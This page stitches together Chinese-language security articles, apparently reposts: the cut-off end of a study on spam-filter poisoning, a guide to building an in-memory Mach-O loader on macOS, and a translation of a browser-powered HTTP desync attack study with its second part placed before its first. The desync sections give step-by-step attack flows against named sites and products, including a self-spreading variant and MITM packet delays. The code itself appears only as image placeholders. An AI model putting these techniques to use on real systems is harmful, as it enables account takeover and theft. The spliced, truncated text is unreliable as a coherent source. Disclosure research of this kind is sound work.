實驗揭示了一些奇怪的事情：結果證明，即使在比較兩個在乾淨樣本上訓練的模型時，標準也會產生顯著差異，儘管這些模型的預測分佈彼此差異不大。發生這種情況的原因是，有了大量的數據，測試對分佈形狀的最細微變化過於敏感。但是當我們減少統計測試中的數據量時，我們經常發現根本沒有顯著差異，因為攻擊目標的消息甚至可能不會最終出現在所採集的樣本中。對這個結果不滿意，我們制定了自己的標準。

我們基於這樣的一個事實，即在乾淨樣本上訓練的模型在相應測試數據集產生的分佈形狀方面幾乎沒有區別。而在對中毒樣本進行訓練的模型的預測分佈中，“駝峰”可能出現在分佈的右端。圖13顯示了一個大的“駝峰”以供說明。但實際上，它幾乎不會引起注意，因為來自受攻擊公司的電子郵件量可能只佔總消息流的一小部分。

26.png

圖13.合法電子郵件上模型預測的模型分佈

在分析過程中，我們得出了Wasserstein指標。實際上，該指標用作分佈之間距離的度量。我們的標準如下：

H0：訓練前後對非垃圾郵件樣本的預測分佈沒有顯示出統計上的顯著變化，即係統保持不變。

H1：分佈的變化在統計上是顯著的，也就是說，系統發生了變化。

我們使用Wasserstein度量來評估合法電子郵件樣本中

HireHackking

在上一篇文章中，我們介紹瞭如何修復dyld以恢復內存執行。這種方法的優點之一是，我們將加載Mach-O二進製文件的許多複雜工作委託給macOS。但如果我們在不使用dyld的情況下，創建我們自己的加載器呢？所有這些字節映射是如何工作的？

接下來，我們將介紹如何在不使用dyld的情況下在MacOS Ventura中為Mach-O包構建內存加載器，以及Mach-O文件的組成，dyld如何處理加載命令以將區域映射到內存中。

為了配合蘋果向ARM架構的遷移，這篇文章將重點介紹MacOS Ventura的AARCH64版本和針對MacOS 12.0及更高版本的XCode。

什麼是Mach-O文件？首先介紹一下Mach-O文件的架構，建議先閱讀一下Aidan Steele的Mach-O文件格式參考。

當我們在處理ARM版本的MacOS時，會假設正在查看的Mach-O沒有被封裝在Universal 2格式中，因此在文件開頭我們首先會遇到的是Mach_header_64：

1.png

要構造加載器，我們需要檢查以下幾個字段：

magic-此字段應包含MH_magic_64的值；

Cputype-對於M1，應為CPU_TYPE_ARM64。

filetype -我們將檢查這篇文章的MH_BUNDLE類型，但加載不同類型也應該很容易。

如果Mach-O是正常的，我們可以立即處理mach_header_64結構體後面的load命令。

加載命令顧名思義，load命令是一種數據結構，用於指示dyld如何加載Mach-O區域。

每個load命令由load_command結構表示：

2.png

cmd字段最終決定load_command實際表示的內容，以LC_UUID的一個非常簡單的load_command為例，該命令用於將UUID與二進制數據關聯起來。其結構如下：

3.png

如上所述，這與load_command結構重疊，這就是為什麼我們有匹配字段的原因。以下就是我們將看到的各種負載命令所支持的情況。

Mach-O段加載Mach-O時，我們要處理的第一個load_command是LC_SEGMENT_64。

segment命令告訴dyld如何將Mach-O的一個區域映射到虛擬內存中，它應該有多大，應該有什麼樣的保護，以及文件的內容在哪裡。讓我們來看看它的結構：

4.png

出於本文的目的，我們將關注：

segname -段的名稱，例如__TEXT；

vmaddr -應該加載段的虛擬地址。例如，如果它被設置為0x4000，那麼我們將在分配的內存基數+0x4000處加載段；

vmsize -要分配的虛擬內存的大小；

fileoff -從文件開始到應複製到虛擬內存的Mach-O內容的偏移量；

filesize -要從文件中復制的字節數；

maxprot-應分配給虛擬內存區域的最大內存保護值；

initprot -應分配給虛擬內存區域的初始內存保護；

nsects -遵循此段結構的節數。

要注意，雖然dyld依賴mmap將Mach-O的片段拉入內存，但如果我們的初始進程是作為一個加固進程執行的(並且沒有com.apple.security.cs. c . data . data之類的文件)。使用mmap是不可能的，除非我們提供的bundle是使用與代理應用程序相同的開發人員證書進行簽名的。此外，我們正在嘗試構建一個內存加載器，因此在這種情況下從磁盤拉二進製文件沒有多大意義。

為了解決這個問題，在此POC中，我們將預先分配我們的blob內存並複制它，例如：

5.png

與之前的dyld文章一樣，我們需要在主機二進製文件中使用正確的授權來允許無符號可執行內存。

節從上面的字段中可以看到，段加載命令中存在另一個引用，這就是一個節（section）。

由於節位於段中，雖然它將繼承其內存保護，但它有自己的大小和要加載的文件內容。每個段的數據結構附加到segment命令中，其結構為：

6.png

同樣，我們將只關注其中幾個字段，這些字段對於我們構建加載器的直接目的很有幫助：

sectname -節的名稱，例如__text；

segname -與此節關聯的段的名稱；

addr -用於此節的虛擬地址偏移量；

size -文件中(以及虛擬內存中的)節的大小；

offset - Mach-O文件中部分內容的偏移量；

flags - flags可以分配給一個節，這個節幫助確定reserved1,reserved2和reserved3中的值。

由於我們已經分配了每個段，所以加載器將遍歷每個段描述符，確保將正確的文件內容複製到虛擬內存中。需要注意的是，在復制時可能需要更新內存保護。 MacOS for ARM不允許讀/寫/執行內存頁(除非com.apple.security.cs. c。allow-jit授權與MAP_JIT一起使用)，因此我們需要在復制時適應這一點：

7.png

符號隨著我們的加載器開始成型，接下來需要看看如何處理符號（Symbol）。符號在Mach-O二進製文件的加載過程中扮演著重要的角色，它將名稱和序數關聯到內存區域，以供我們稍後參考。

符號是通過LC_SYMTAB的加載命令來處理的，如下所示：

8.png

同樣，我們將關注構建加載器所需的字段：

symoff -從文件開始到包含每個符號信息的nlist結構數組的偏移量；

nsyms -符號(或nlist結構)的數量；

stroff -符號查找所使用的字符串的文件偏移量。

顯然，接下來我們需要知道nlist是什麼：

9.png

此結構為我們提供了有關命名符號的信息：

n_strx -從符號字符串字段到該符號字符串的偏移量；

n_value -包含符號的值，例如地址。

因為我們稍後需要引用符號，所以我們的加載器需要存儲這些信息以備以後使用：

10.png

dylib’s接下來是LC_LOAD_DYLIB加載命令，該命令引用在運行時加載的額外dylib’s。

11.png

我們需要的項在dylib結構成員中找到，特別是dylib.name.offset，它是從這個加載命令的開頭到包含要加載的dylib的字符串的偏移量。

稍後，當涉及到重定位時，我們將需要這些信息，其中dylib’s的導入順序起著重要作用，因此我們將構建一個dylib’s數組，供以後使用：

12.png

遷移現在就要介紹Mach-O更複雜的部分——遷移。

Mach-O是用XCode構建的，目標是macOS 12.0和更高版本，使用LC_DYLD_CHAINED_FIXUPS的加載命令。關於這一切是如何工作的，沒有太多的文檔，但Noah Martin對iOS 15查找鏈的研究值得參考，我們還可以在這裡找到蘋果XNUrepo中使用的結構體的詳細信息。

Dyld’s的源代碼告訴我們，該加載命令以結構linkedit_data_command開始：

13.png

使用dataoff便能找到標頭：

14.png

我們需要做的第一件事是收集所有導入並構造一個稍後將引用的有序數組。為此，我們將使用以下字段：

symbols_offset -從該結構開始到導入所使用的符號字符串的偏移量；

imports_count -導入項的數量；

imports_format -任何導入符號的格式。

imports_offset -從該結構開始到導入表的偏移量。

每個導入項的數據結構都依賴於imports_format字段，但通常我看到的是DYLD_CHAINED_IMPORT格式：

15.png

可以看出這是一個32位數組項，有lib_ordinal字段，它是我們之前從LC_LOAD_DYLIB加載命令構建的有序dylib數組的索引。索引從1開始，而不是0，這意味著第一個索引是1，然後是2……

16.png

如果索引值為0或253，則該項引用this-image(當前正在執行的二進製文件)。這就是我們之前構造符號字典的原因，因為現在我們可以簡單地將自己二進製文件中引用的符號名稱解析為其地址：

17.png

name_offset是從dyld_chained_fixups_header收集的symbols_offset字符串的偏移量。

使用這些信息，我們需要構建一個有序的導入數組，因為我們需要馬上引用這個有序數組。

構建了一個導入列表後，將開始鍊式啟動，這可以從dyld_chained_fixups_header結構的starts_offset標頭字段中找到。

鍊式啟動的結構是:

18.png

為了導航，我們需要遍歷seg_info_offset中的每個項，這為我們提供了指向dyld_chained_starts_in_segment的指針列表：

19.png

首先要注意這個結構，有時segment_offset是0，但不知道為什麼，看起來dyld也識別了這個，只是忽略了它們。

20.png

我們需要找到每個reloc鏈的開始位置的字段如下：

pointer_format-鏈使用的DYLD_CHAINED_PTR_結構的類型；

segment_offset-段起始地址在內存中的絕對偏移量；

page_count-page_start成員數組中的頁數；

page_start-從頁面到鏈開始的偏移量。

當我們在一個段中有一個有效的偏移量時，我們可以開始遵循reloc鏈。遍歷每個項，我們需要檢查第一位，以確定該項是一個rebase(設置為0)還是一個bind(設置為1)：

在rebase的情況下，將該項轉換為dyld_chained_ptr_64_rebase，並使用目標偏移量更新該項到已分配內存的基數。

21.png

在綁定的情況下，我們使用dyld_chained_ptr_64_bind，序數字段是我們前面構建的導入數組的偏移量。

22.png

然後，我們需要移動到下一個bind或rebase，這是通過執行next*4（4字節是步長）來完成的。我們重複此操作，直到下一個字段為0，表示鏈已結束。

構建加載器現在一切就緒，開始構建加載器。步驟如下：

1.分配內存區域；

2.根據LC_SEGMENT_64命令將每個段加載到虛擬內存中；

3.將每個節加載到每個段中；

4.從LC_LOAD_DYLIB命令構建dylib的有序集合；

5.從LC_SYMTAB命令構建一個符號集合。

6.遍歷LC_DYLD_CHAINED_FIXUPS鏈並對每個reloc進行bind或rebase。

一旦完成，我們就可以使用LC_SYMTAB中的數據來引用我們想要輸入的符號並傳遞執行。如果一切順利，我們將看到Mach-O被加載到內存中並開始執行：

23.png

這個POC的所有代碼都已添加到Dyld-DeNeuralyzer項目。

雖然你可以使用其中的代碼加載C/c++包，但如果你嘗試加載Objective-C包，你會看到如下的內容：

24.png

這是因為在加載Objective-C Mach-O時dyld中發生了一些事情，具體原因我們下一部分再講。

HireHackking

60a7-article-browser-powered_desync_attacks_article.jpg

瀏覽器驅動的異步攻擊：HTTP 請求走私（上）

示例探究通過自動檢測CSD 漏洞，我確定了一系列真正的易受攻擊的網站。在這一節中，我將研究其中四個更有趣的方法，並看看這種方法是如何發揮作用的。

Akamai——堆棧化HEAD在第一個案例中，我們將利用一個簡單的漏洞影響許多基於Akamai 構建的網站。作為示例目標，我將使用www.capitalone.ca。

當Akamai 發出重定向時，它會忽略請求的Content-Length 標頭，並將任何消息正文留在TCP/TLS 套接字上。 Capitalone.ca 使用Akamai 將對/assets 的請求重定向到/assets/，因此我們可以通過向該端點發出POST 請求來觸發CSD：

26.png

為了構建一個漏洞利用，我們將使用HEAD 方法將一組HTTP 標頭與text/html 的Content-Type 和一個由反映Location 標頭中的查詢字符串的標頭組成的'body'組合起來：

27.png

如果這是服務器端異步攻擊，我們可以在就此打住。然而，要想成功實現客戶端異步，我們需要解決兩個複雜問題。

第一個問題是初始重定向響應。為了執行注入的JavaScript，我們需要受害者的瀏覽器將響應呈現為HTML，但是301 重定向會被瀏覽器自動跟踪，從而阻止攻擊。一個簡單的解決方案是指定模式：'cors'，它會故意觸發CORS 漏洞。這可以防止瀏覽器跟隨重定向並使我們能夠通過調用catch() 而不是then() 來恢復攻擊序列。在catch block中，我們將使用location='https://www.capitalone.ca/' 觸發瀏覽器導航。我們可能傾向於使用iframe來進行導航，但可以使用跨網站攻擊緩解措施，例如同網站cookie。

第二個複雜的問題是所謂的“堆棧響應問題”。瀏覽器有一種機制，如果接收到的響應數據多於預期，則刪除連接。這極大地影響了對多個響應進行排隊的技術的可靠性，例如我們在這裡使用的HEAD方法。為了解決這個問題，我們需要延遲對HEAD 請求的404 響應。幸運的是，在這個目標上，我們可以很容易地實現這一點，方法是添加一個具有隨機值的參數來充當緩存攻擊器，觸發緩存未命中並產生約500 毫秒的延遲。利用結果如下所示：

28.png

已向Akamai 報告了此漏洞，但我不確定何時修復。

Cisco Web VPN——客戶端緩存攻擊我們的下一個目標是Cisco ASA WebVPN，它可以忽略幾乎所有端點上的Content-Length，因此我們只需向主頁發出POST 請求即可觸發異步。為了利用它，我們將使用Host-header 重定向小工具：

29.png

最簡單的攻擊是使用此重定向感染套接字，將受害者導航到/+CSCOE+/logon.html，並希望瀏覽器嘗試使用感染的套接字導入/+CSCOE+/win.js，然後被重定向，最終從我們的網站導入惡意JS。不幸的是，這是非常不可靠的，因為瀏覽器很可能會使用被感染的套接字進行初始導航。為了避免這個問題，我們將執行客戶端緩存攻擊。

首先，我們使用重定向感染套接字，然後將瀏覽器直接導航到/+CSCOE+/win.js：

30.png

請注意，此頂級導航對於繞過緩存分區至關重要- 嘗試使用fetch() 將攻擊漏洞的緩存。

瀏覽器將使用被感染的套接字，接收惡意重定向，並將其保存在本地緩存中以供https:/redacted/+CSCOE+/win.js 使用。然後，它將遵循重定向並返回我們的網站https://psres.net/+webvpn+/index.html。我們將瀏覽器重定向到登錄頁面https://redacted/+CSCOE+/logon.html，當瀏覽器開始出現登錄頁面時，它會嘗試導入/+CSCOE+/win.js 並發現它已經將其保存在其緩存中。資源加載將遵循緩存的重定向並向https://psres.net/+webvpn+/index.html 發出第二個請求。此時，我們的服務器可以使用一些惡意JavaScript 進行響應，這些JavaScript 將在目標網站的上下文中執行。

為了使這種攻擊起作用，攻擊者的網站需要在同一端點上同時提供重定向和惡意JS。我採取了一種懶惰的方法，並使用JS/HTML 多語言解決了這個問題——Chrome 似乎並不介意不正確的Content-Type：

31.png

我在2021 年11 月10 日向思科報告了這個問題，他們最終在2022 年3 月2 日宣布棄用該產品，他們不會修復它，但仍會為其標記為CVE-2022-20713。

Verisign——碎片化的chunk在尋找不同步矢量時，最好不要超出探測有效端點的範圍，而是鼓勵服務器使用不同尋常的代碼路徑。在嘗試使用像/.%2f 這樣的半格式漏洞的URL 時，我發現我可以通過POST 到/%2f 來觸發verisign.com 上的CSD。

我最初嘗試使用基於HEAD 的方法，類似於之前在Akamai 上使用的方法。不幸的是，這種方法依賴於基於Content-Length 的響應，並且服務器向所有沒有正文的請求發送分塊響應。此外，它拒絕了包含Content-Length 的HEAD 請求。最終，經過測試，我發現服務器會對HEAD 請求發出基於CL 的響應，前提是它們使用了Transfer-Encoding: chunked。

這在服務器端異步中幾乎沒有用，但是由於受害者的瀏覽器在我的控制之下，我可以準確地預測下一個請求的大小，並在單個chunk中使用它：

32.png

此攻擊是使用以下JavaScript 觸發的：

33.png

此漏洞於2022 年7 月21 日被成功修復。

Pulse SecureVPNPulse Secure VPN會忽略對靜態文件（如/robots.txt）的POST 請求的Content-Length。就像Cisco Web VPN 一樣，這個目標有一個主機標頭重定向小工具，我將使用它來劫持JavaScript 導入。但是，這次的重定向是不可緩存的。因此客戶端緩存攻擊是不可用的。

由於我們的目標是資源負載並且沒有攻擊客戶端緩存的預期，因此攻擊時機至關重要。我們需要受害者的瀏覽器成功加載目標網站上的頁面，然後使用攻擊連接加載JavaScript 子資源。

固有的競爭條件使這種攻擊不可靠，所以如果我們只有一次嘗試，它注定會失敗——我們需要設計一個環境，可以進行多次嘗試。為了實現這一點，我將創建一個單獨的窗口，並在攻擊者頁面上保留一個句柄。

在大多數目標頁面上，如果試圖劫持JS導入失敗，將導致瀏覽器緩存真正的JavaScript文件，在緩存的JS過期之前，該頁面不會受到此類攻擊。我能夠通過定位/dana-na/meeting/meeting_testjs.cgi來避免這個問題，它從/dana-na/meeting/url_meeting/appletRedirect.js加載JavaScript，這實際上並不存在，所以它返回一個404，並沒有保存在瀏覽器的緩存中。我還用一個冗長的標頭填充了注入的請求，以緩解堆棧響應漏洞。

這導致以下攻擊流程：

1.打開一個新窗口。

2.向目標發出無害的請求以建立新的連接，從而使計時更加一致。

3.將窗口導航到位於/meeting_testjs.cgi 的目標頁面。

4.120 毫秒後，使用重定向小工具創建三個攻擊連接。

5.5 毫秒後，在渲染/meeting_testjs.cgi 時，受害者可能會嘗試導入/appletRedirect.js 並被重定向到提供惡意JS的x.psres.net。

6.如果沒有，請重試攻擊。

最終的攻擊腳本如下：

34.png

基於暫停的異步如上所述，在HTTP 請求中間暫停並觀察服務器的反應可以揭示通過篡改請求的實際內容無法獲得的有用信息。事實證明，暫停還可以通過觸發漏洞的請求超時實現來創建新的異步漏洞。

這個漏洞類是不可見的，除非你的工具有比目標服務器更高的超時時間。我非常幸運地發現了它，因為我的工具應該有2秒的超時，但由於一個漏洞，它恢復到10秒的超時。我的管道還碰巧包含一個運行Varnish的單獨網站，該網站配置了自定義的5 秒超時。

VarnishVarnish 緩存有一個稱為synth() 的特性，它可以讓你在不將請求轉發到後端的情況下發出響應。下面是一個用來阻止訪問文件夾的規則示例：

36.png

當處理匹配synth規則的部分請求時，如果Varnish在15秒內沒有收到數據，它將超時。當這種情況發生時，即使它只從套接字讀取了一半的請求，它也會讓連接保持打開狀態以便重用。這意味著，如果客戶機繼續處理HTTP請求的後半部分，它將被解釋為一個新的請求。

要在易受攻擊的前端觸發基於暫停的異步，首先發送你的標頭，承諾正文，然後等待。最終你會收到一個響應，當你最終發送你的請求正文時，它會被解釋為一個新的請求：

37.png

Apache在這個發現之後，我碰到了Turbo Intruder 的請求超時，發現同樣的技術也適用於Apache。與Varnish一樣，它在服務器自己生成響應而不是讓應用程序處理請求的端點上很容易受到攻擊。發生這種情況的一種方法是使用服務器級重定向：

38.png

如果你發現一個服務器容易受到基於暫停的異步的影響，你有兩個利用它的選項，具體取決於它是前端還是後端。

服務器端如果易受攻擊的服務器在後端運行，你可能會觸發服務器端異步。為此，你需要一個將請求流傳輸到後端的前端。特別是，它需要在不緩衝整個請求正文的情況下以HTTP 標頭轉發。

39.png

這裡有一個小問題。前端不會讀取超時響應並將其傳遞給我們，直到看到我們發送完整的請求。因此，我們需要發送我們的標頭，暫停一段時間，然後在沒有提示的情況下繼續其餘的攻擊序列。我不知道有任何安全測試工具支持像這樣部分延遲請求，所以我在Turbo Intruder 中實現了支持。隊列接口現在有三個新參數：

pause before指定一個Turbo應該暫停的偏移量。

pauseMarker 是一種替代方案，它採用Turbo 在發出後應暫停的字符串列表。

pauseTime 指定暫停多長時間，以微秒為單位；

那麼，哪些前端實際上具有這種請求流？一個著名的前端是Amazon 的Application Load Balancer (ALB)，但還有一個額外的障礙。如果ALB 收到對部分請求的響應，它將拒絕重用連接。

40.png

幸運的是，這種機制中有一個固有的競爭條件。你可以通過延遲請求的後半部分來充分利用ALB 後面的Varnish，使其在後端超時的同時到達前端。

41.png

匹配超時在利用ALB 背後的Apache 時還有一個額外的複雜性，兩台服務器的默認超時時間都是60 秒。這就為發送請求的第二部分留下了極短的時間窗口。

我試圖通過發送一些被前端規範化的數據來解決這個問題，以便在不影響後端計時器的情況下重置前端的計時器。不幸的是，塊大小填充、塊擴展或TCP 重複/無序數據包都沒有達到這個目標。

最後，為了證明這個概念，我使用Turbo Intruder 發起了一次緩慢但持續的攻擊。 66個小時後，這個實驗最終成功了。

MITM 攻擊由於基於暫停的異步攻擊使用合法的HTTP 請求，人們很自然地想知道它們是否可以用來觸發客戶端異步。我探索了使瀏覽器在發出請求的中途暫停的選項，但儘管Streaming Fetch 聽起來很有希望，但它還沒有實現，最終測試失敗。

然而，有一種方法絕對可以延遲瀏覽器請求——主動MITM 攻擊。 TLS 旨在防止數據在傳輸過程中被解密或修改，但它是通過TCP 捆綁的，沒有什麼可以阻止攻擊者延遲整個數據包。這可以稱為盲目MITM 攻擊，因為它不依賴於解密任何流量。

攻擊流程與常規的客戶端異步攻擊非常相似。用戶訪問攻擊者控制的頁面，該頁面向目標應用程序發出一系列跨域請求。第一個HTTP 請求被故意填充到非常大，以至於操作系統將其拆分為多個TCP 數據包，從而使活動的MITM 能夠延遲最終數據包，從而觸發基於暫停的異步。由於存在填充，攻擊者只需根據數據包的大小就能識別出需要暫停的數據包。

42.png

我能夠使用默認配置和一個重定向規則成功地對一個獨立的基於apache的網站執行此攻擊：

43.png

從客戶端看，除了請求填充之外，它看起來像使用HEAD 小工具的常規客戶端異步：

44.png

在執行盲目MITM 的攻擊者係統上，我使用tc-NetEm 實現了延遲：

45.png

通過修改請求填充和數據包大小過濾器，我在目標瀏覽器上實現了大約90% 的成功率：

總結本文所涉及的主題和技術具有進一步研究的潛力：

1.使用瀏覽器發出的請求觸發客戶端異步的新方法；

2.一種基於暫停的服務器端異步漏洞的有效且可靠的檢測方法；

3.更多用於客戶端不同步攻擊的利用小工具；

4.使用CSD-chaining 的真實PoC；

5.一種需要MITM 來延遲瀏覽器請求的方法；

6.一種在HTPT/2 可用時強制瀏覽器使用HTTP/1 的方法；

緩解措施你可以通過使用HTTP/2 端到端來緩解本文中的大多數攻擊。 HTTP/2中也可能存在類似的漏洞，但可能性要小得多。我不建議前端支持HTTP/2，然後重寫HTTP/1.1請求來與後端通信。這確實緩解了客戶端異步攻擊，但它無法緩解服務器端基於暫停的攻擊，並且還引入了其他的威脅。

如果你的公司通過轉發代理路由員工的流量，請確保支持並啟用上游HTTP/2。注意，使用正向代理還引入了超出本文範圍的一系列額外的請求走私風險。

HTTP/1.1 的明文性質使它看起來很簡單，並使開發人員實現自己的服務器。不幸的是，即使是HTTP/1.1 的極簡實現也容易出現嚴重漏洞，特別是如果它支持連接重用或部署在單獨的前端之後。

HireHackking

60a7-article-browser-powered_desync_attacks_article.jpg

我將在本文介紹如何將受害者的Web 瀏覽器變成一個異步的傳播平台，通過暴露一個獨立的服務器網站和內部網絡來轉移請求走私的邊界。你將學習如何將跨域請求與服務器漏洞相結合，以攻擊瀏覽器連接池、安裝後門，並釋放異步攻擊。使用這些技術，我將攻擊包括Apache、Akamai、Varnish、Amazon 和多個Web VPN 在內的目標。

接下來我將分享一種結合瀏覽器特點和自定義開源工具的方法。除此之外，我還將介紹一種黑盒分析策略，該策略解決了長期存在的異步障礙，並揭示了一種極其有效的新穎異步觸發器。由此產生的後果將包括客戶端、服務器端甚至MITM 攻擊。最後，我將介紹修改HTTPS 以在Apache 上觸發MITM 驅動的異步。

本文使用的術語“瀏覽器驅動的異步攻擊”表示可以通過Web 瀏覽器觸發的所有異步攻擊。這包括所有客戶端異步攻擊，以及一些服務器端攻擊。

本文的示例都是取材於真實網站。本文中引用的所有漏洞均已報告給相關供應商，並已修補，除非另有說明。

連接狀態攻擊如果你沒有嘗試請求走私攻擊，很容易忘記HTTP 連接重用並將HTTP 請求視為獨立對象。畢竟，HTTP 應該是無狀態的。然而，下面的層（通常是TLS）只是一個字節流，很容易找到實現不佳的HTTP 服務器，假設通過單個連接發送的多個請求必須共享某些屬性。

在野外看到的主要漏洞是服務器假設通過給定TLS 連接發送的每個HTTP/1.1 請求都必須具有相同的預期目標和HTTP Host 標頭。由於網絡瀏覽器符合這個假設，所以在有人使用Burp Suite 之前一切都會正常工作。

我發現了兩個不同的場景，這個漏洞均造成了很大的安全後果。

第一個請求驗證反向代理通常使用Host 標頭來識別將每個請求路由到哪個後端服務器，並有一個允許人們訪問的主機白名單：

1.png

但是，我發現一些代理只對通過給定連接發送的第一個請求應用此白名單。這意味著攻擊者可以通過向允許的目的地發出一個請求來訪問內部網站，然後通過相同的連接向內部網站發出一個請求：

2.png

幸運的是，這種漏洞非常罕見。

第一個請求路由第一個請求路由是一個密切相關的漏洞，發生在前端使用第一個請求的Host 標頭來決定將請求路由到哪個後端，然後將來自同一客戶端連接的所有後續請求路由到同一後端連接。

這本身不是一個漏洞，但它使攻擊者能夠使用任意Host 標頭攻擊任何後端，因此它可以與Host 標頭攻擊鏈接在一起，例如密碼重置攻擊、Web 緩存攻擊以及獲得對其他虛擬主機的訪問權限。

在此示例中，我們希望使用“psres.net”的攻擊主機標頭攻擊example.com 的後端，以進行密碼重置攻擊，但前端不會路由我們的請求：

3.png

然而，通過對目標網站的有效請求開始我們的請求序列，我們可以成功到達後端：

4.png

希望能給受害者發一封帶有釣魚鏈接的郵件：

5.png

你可以使用HTTP Request 走私中的“連接狀態探測”選項掃描這兩個漏洞。

大多數HTTP 請求走私攻擊可以描述如下：

發送一個長度不明確的HTTP 請求，使前端服務器與後端對消息的結束位置產生分歧，從而將惡意前綴應用於下一個請求。此分歧通常是通過混淆的傳輸編碼標頭來實現的。

該漏洞是由以下HTTP/2請求觸發的，該請求沒有使用任何混淆或違反任何RFC。甚至對於長度沒有任何歧義，因為HTTP/2 在幀層中有一個內置的長度字段：

6.png

此請求觸發了來自運行AWS Application Load Balancer (ALB) 作為其前端的各種網站的非常可疑的間歇性400 漏洞請求響應。調查顯示，ALB在將請求降級為HTTP/1.1轉發到後端時，添加了一個“Transfer-Encoding: chunked”標頭，而沒有對消息正文進行任何更改：

7.png

我只需要提供一個有效的被chunk對象：

8.png

這是一個發現漏洞的完美示例，它讓你回溯實際發生的情況和原因。這個請求只有一個不尋常的地方，它沒有Content-Length (CL) 標頭。由於前面提到的內置長度字段，在HTTP/2 中省略CL 是明確可接受的。然而，瀏覽器總是發送一個CL，所以服務器顯然不會期望沒有CL的請求。

檢測連接鎖定的CL.TE有了這兩個經驗教訓，我決定解決我去年在HTTP/2 研究中強調的一個未解決的問題，連接鎖定HTTP/1.1 請求走私漏洞的通用檢測。連接鎖定是指前端為與客戶端建立的每個連接創建一個到後端的新連接的常見行為。這使得直接的跨用戶攻擊幾乎不可能，但仍然留下了其他攻擊途徑。

要識別此漏洞，你需要通過單個連接發送“攻擊者”和“受害者”請求，但這會產生大量誤報，因為服務器行為無法與稱為HTTP管道的常見無害特性區別開來。例如，給定以下CL.TE 攻擊的請求/響應序列，你無法判斷目標是否易受攻擊：

9.png

HTTP 管道在Burp Repeater 中也可見，它通常被誤認為是真正的請求走私：

10.png

你可以通過將requestsPerConnection 設置從1 增加到自己在Turbo Intruder 中的測試，這只是要做好誤報的準備。

我浪費了很多時間試圖調整請求來解決這個問題。但事實證明，上面的響應不能證明存在漏洞，並且解決方案立刻就出現了：

從上面的響應序列可以看出，由於隨後的404 響應，後端正在使用傳輸編碼標頭解析請求。但是，你無法判斷前端是否使用請求的Content-Length ，並因此易受攻擊，或者是否安全地將其視為許多chunk，並假設橙色數據已通過管道傳輸。

要排除管道的可能性並證明目標確實易受攻擊，你只需在使用0\r\n\r\n 完成chunk處理請求後暫停並嘗試提前讀取。如果服務器在你的讀取嘗試期間做出響應，則表明前端認為該消息還是完整的，因此必須將其安全地分割成很多小塊：

11.png

如果你的讀取嘗試被暫停，這表明前端正在等待消息完成，因此必須使用Content-Length，從而使其易受攻擊：

12.png

這種技術也可以很容易地適應TE.CL 漏洞。將其集成到HTTP Request 走私中很快發現了一個在Barracuda WAF後面運行IIS 的網站，該網站容易受到傳輸編碼的影響。有趣的是，修復這個漏洞的更新已經出現了，但它是作為一種投機性的修復措施來實現的，所以它沒有被標記為安全版本，攻擊設備也沒有安裝它。

CL.0 瀏覽器兼容的異步雖然原先將另一個網站標記為最初看起來像連接鎖定的TE.CL 漏洞。但是，服務器沒有按預期響應我的手動探測和讀取。當我嘗試簡化請求時，我發現傳輸編碼標頭實際上被前端和後端完全忽略了。這意味著我可以完全利用它，發起攻擊：

13.png

前端使用的是Content-Length，但後端顯然完全忽略了它。結果，後端將正文作為第二個請求的方法的開始。忽略CL等同於將其視為值為0，因此這是一個CL.0異步，這是一種已知但較少探索的攻擊類。

14.png

關於此漏洞的第二個也是更重要的一點是，它是由一個完全有效的、符合規範的HTTP 請求觸發的。這意味著前端防禦它的機會為零，甚至可以由瀏覽器觸發。

攻擊是可能的，因為後端服務器根本不會接收到POST 請求。

amazon.com 上的H2.0對CL.0/H2.0 異步漏洞實施粗略掃描檢查後發現，它們影響了包括amazon.com 在內的眾多網站，亞馬遜網站忽略了發送到/b/的請求的CL：

15.png

我通過創建一個簡單的概念證明(PoC) 來確認此漏洞，該概念將隨機實時用戶的完整請求（包括身份驗證令牌）存儲在我的清單中：

16.png

在我向亞馬遜報告此事後，我意識到我還是錯過了一個危害更大的漏洞。攻擊請求非常普通，我可以讓任何人的網絡瀏覽器使用fetch() 發出它。通過在亞馬遜上使用HEAD 技術創建一個XSS 小工具並在受害者的瀏覽器中執行JavaScript，我可以讓每個受攻擊的受害者自己重新發起攻擊，並將其傳播給其他人。這樣就會產生一個異步攻擊，一種自我複制的攻擊，利用受害者在沒有用戶交互的情況下發起的攻擊，迅速利用亞馬遜上的每個活躍用戶。

我不建議在你的工作系統上嘗試此操作，但在暫存環境中嘗試可能會很有趣。

客戶端異步傳統的異步攻擊利用的是前端和後端服務器之間的連接，因此在不使用前端/後端架構的網站上是不可能的。從現在開始，我將把它稱為服務器端異步。大多數服務器端異步只能由發出格式漏洞的請求的自定義HTTP 客戶端觸發，但是，正如我們剛剛在amazon.com 上看到的，有時可以創建由瀏覽器驅動的服務器端異步。

瀏覽器導致異步的能力會引發一類全新的威脅，我將其稱為客戶端異步(client-side desync，CSD)，其中異步發生在瀏覽器和前端服務器之間。這使得可以利用獨立的服務器網站，這很有價值，因為它們通常在HTTP 解析方面非常糟糕。

CSD 攻擊始於受害者訪問的感染網站，然後讓他們的瀏覽器向易受攻擊的網站發送兩個跨域請求。第一個請求的目的是使瀏覽器的連接異步，並使第二個請求觸發有害響應，通常使攻擊者控制受害者的帳戶：

17.png

攻擊方法在嘗試檢測和利用客戶端異步漏洞時，你可以重用來自服務器端異步攻擊的許多概念。主要區別在於，整個漏洞利用序列都發生在受害者的網絡瀏覽器中，這個環境比專用黑客工具更加複雜和不受控制。這帶來了一些新的挑戰，這給我在研究這項技術時帶來了很大的阻礙。為此，我開發了以下方法：

18.png

探測第一步是識別你的CSD 矢量。這個基本原語是漏洞的核心，也是構建漏洞利用的平台。我們已經在HTTP Request 走私和Burp Scanner 中實現了對這些的自動檢測，但是了解如何手動進行檢測仍然很有價值。

CSD 向量是具有兩個關鍵屬性的HTTP 請求。

首先，服務器必須忽略請求的Content-Length (CL)。這種情況通常會發生，因為請求要么觸發了服務器錯誤，要么服務器根本不期望向所選端點發出POST請求。嘗試針對靜態文件和服務器級重定向，並通過超長URL 和/%2e%2e 等半格式錯誤觸發漏洞。

其次，請求必須在web瀏覽器的跨域觸發。瀏覽器嚴重限制了對跨域請求的控制，因此你對標頭的控制有限，如果你的請求有正文，則需要使用HTTP POST 方法。最終，你只控制URL，加上一些零星的結尾，如Referer 標頭、正文和Content-Type 的後半部分：

微信截图_20220829140500.png

現在我們已經編寫了攻擊請求，我們需要檢查服務器是否忽略了CL。作為簡單的第一步，使用超長的CL 發出請求並查看服務器是否仍然回复：

20.png

